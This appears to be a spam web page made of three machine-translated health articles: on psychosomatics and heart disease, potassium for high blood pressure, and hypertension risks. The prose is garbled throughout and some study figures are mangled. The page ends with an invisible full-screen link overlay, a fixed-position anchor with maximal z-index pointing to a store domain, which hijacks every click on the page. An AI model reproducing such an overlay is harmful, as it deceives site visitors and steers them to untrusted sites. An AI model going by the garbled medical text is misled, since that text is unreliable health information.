# Psychosomatic aspects of cardiovascular disease presentation #
:::warning
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:::
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Psychosomatic aspects of cardiovascular disease: If the soul is a burden for the heart
Cardiovascular diseases are considered as one of the main causes of morbidity and mortality in modern industrial societies. But, while we focus often on biomedical risk factors such as high blood pressure, cholesterol or Diabetes, it remains an important aspect in the shadows: the influence of psychological processes on the health of our cardiovascular system.
Psychosomatics describes the interaction between psychological factors and physical disease. In terms of cardiovascular disease is becoming increasingly clear that Stress, anxiety, depression, and social Isolation are just emotional stress — you can also have a direct effect on the heart and the risk for diseases such as Coronary heart disease, heart attack, or heart failure increase.
How does Psyche and the heart?
Under constant stress, the body will be placed permanently in a state of alert. This leads to an increased release of stress hormones such as adrenaline and Cortisol. This, in turn, can lead to the following physiological reactions:
Increased Blood Pressure (Hypertension),
increased heart rate,
Narrowing of the blood vessels,
increased tendency to form blood clots.
In the long term, this Overload will damage the walls of the vessel, and promotes the development of atherosclerosis.
Important psychosocial risk factors
Studies identify a number of psychological and social factors that increase the risk of cardiovascular diseases increase significantly:
Chronic Stress (business or private),
Depression: people with depression have a 40% to 60% increased risk for heart attacks,
Anxiety and panic disorders,
lack of social support and Isolation,
Type A behaviour (highly productive, competitive, constantly under the pressure of time).
Therapeutic Consequences
The findings of psychosomatics call on the medicine to pursue a holistic approach to treatment. In addition to the conventional treatment (medication, surgery, lifestyle changes) to play the following measures have an important role to:
Stress Management Techniques (Mindfulness, Meditation, Progressive Muscle Relaxation),
psycho-therapeutic support in depression and Anxiety,
The structure of social networks and support services,
cardiac rehabilitation programs with psycho-somatic focus.
Conclusion
The connection between the Psyche and the heart is scientifically proven and is of great clinical importance. Effective prevention and therapy of cardiovascular diseases, therefore, not only the body but also the soul in view. We take psychosomatic relationships seriously and systematically in the medical care of integrate, we can improve the health and quality of life of many people in a sustainable manner.
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## Potassium for high blood pressure ##
Potassium for high blood pressure: Scientific evidence and clinical implications
High blood pressure (arterial hypertension) is one of the most common chronic diseases worldwide and failure is a major risk factor for cardiovascular disease, including heart attack, stroke, and kidney. In the last decades, numerous studies have materials, the role of minerals, especially potassium (K
+
), in the Regulation of blood pressure are investigated.
Physiological role of potassium
Potassium is an essential electrolyte, which has a Central role in the maintenance of electrolyte balance, muscle function and nerve conduction plays. In addition, blood pressure lowering it by several mechanisms:
Excretion of sodium: potassium promotes the urinary excretion of sodium (Na
+
) on the kidney. Increased potassium intake leads to a reduction in Renin‑Angiotensin‑aldosterone activity, which in turn increases the sodium excretion and lowers blood pressure.
The vascular relaxation: potassium affected vessels, the smooth muscle of the blood and promotes relaxation, which leads to Vasodilatation and, consequently, to a decrease in peripheral vascular resistance.
Reduction of vascular stiffness in the long term, an adequate potassium supply can be used to obtain the elastic properties of the arteries and the blood pressure rise prevention.
Scientific Studies
Several epidemiological and inter-ventive studies support the blood pressure-lowering effect of potassium:
The DASH study (Dietary Approaches to Stop Hypertension) showed that a diet rich in potassium (by fruits, vegetables, and dairy products) to significant blood pressure reductions in individuals with and without hypertension.
A meta-analysis of 22 randomized controlled trials (Aburto et al., 2013) showed that a daily potassium intake of an average of 4.7 g lowers the systolic blood pressure to less than 3.49 mmHg and the diastolic order to 1.96 mmHg.
Observational studies also show that a low potassium intake is associated with an increased risk for stroke.
Recommended Potassium Intake
The world health organization (WHO) recommends a daily potassium intake of at least 3.5 g for adults for the prevention of hypertension and cardiovascular events. This quantity can best be achieved through a balanced diet to achieve the rich in the following foods:
Bananas, Oranges, Avocados
Potatoes, Spinach, Broccoli
Beans, Lentils
Yogurt, Milk
Warnings
Although potassium for most people is healthy, it can be an excessive intake of certain groups of patients to be dangerous. Subjects with advanced renal impairment or with medications that increase potassium levels (e.g., ACE inhibitors, Potassium-sparing diuretics), should monitor your potassium intake under a doctor's guide to Hyperkaliemie (K
+
To avoid >5.0 mmol/l).
Conclusion
Adequate potassium intake is an important dietary factor in the prevention and treatment of hypertension. Through the combination of a sodium-lowering and vascular relaxant effects of potassium can lower blood pressure significantly and in the long term, the risk of cardiovascular disease reduce. A diet according to the DASH‑principle provides a practical and evidence-based approach to the optimization of potassium supply in the context of hypertension therapy.
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## Pressure risk factors for cardiovascular diseases ##
High blood pressure: A silent risk factor for your heart!
You know, how high is your blood pressure? Many people live for years with elevated blood pressure and knew nothing of the constant strain on your heart and blood vessels.
Why should you worry?
High blood pressure (hypertension) is one of the most important risk factors for cardiovascular disease — including heart attack, stroke, and heart failure. He often runs for a long time without symptoms, causes damage but vessels continuously in their blood and be charged to your heart excessively.
The risks at a Glance:
Increased risk for a heart attack
More load on the blood vessels — and therefore at higher risk for aneurysms
Increased likelihood of a stroke
Long-term exposure of the heart muscle, which can lead to heart failure
- Favoured-nation treatment of other diseases such as kidney damage, or vision problems
Good news: you can do something about it!
Regular blood pressure measurements are the first step to prevention. Talk with your doctor — it can help you to bring your blood pressure under control and lowering the risk of cardiovascular disease significantly.
What helps?
A balanced, low-salt diet
Regular physical activity
Stress reduction and adequate sleep
Avoiding Smoking and excessive alcohol consumption
If required: Drug therapy in accordance with a medical consultation
They provide early for your heart — measure your blood pressure regularly!
Your health is your most prized possession. You can rely on professional advice and act in a timely manner.
<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">Psychosomatic aspects of cardiovascular disease presentation</a>